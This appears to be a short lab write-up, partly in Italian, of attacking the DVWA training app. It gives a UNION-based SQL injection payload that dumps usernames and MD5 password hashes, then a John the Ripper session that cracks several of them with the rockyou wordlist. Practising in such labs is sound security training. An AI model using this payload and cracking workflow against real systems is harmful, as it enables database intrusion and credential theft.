

Vulnerability: SQL Injection

User ID:

Submit

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user,password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user,password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user,password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user,password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Il metodo John Ther Ripper utilizza un tool che, consultando dei database controlla che i vari hash delle password combacino in modo da trovare la parola corrispondente.

```
(kaliepicodetest@kali)-[~/Downloads]
$ john --format=raw-MD5 --wordlist /usr/share/wordlists/rockyou.txt crack.
txt
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 55 password hashes with no different salts (Raw-MD5 [MD5 128/128 ASIM
D 4x2])
Remaining 51 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=3
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-02-06 20:39) 0g/s 354600p/s 354600c/s 18084KC/s 123
456..sss
Session completed.

(kaliepicodetest@kali)-[~/Downloads]
$ john --format=raw-MD5 --show crack.txt
admin:password
gordonb:abc123
pablo:letmein
smithy:password

4 password hashes cracked, 1 left
```